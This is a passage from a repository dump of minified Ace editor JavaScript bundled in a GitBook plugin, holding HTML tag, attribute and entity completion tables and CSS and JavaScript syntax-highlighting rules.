s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-html_elixir.js",
    "content": "define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|l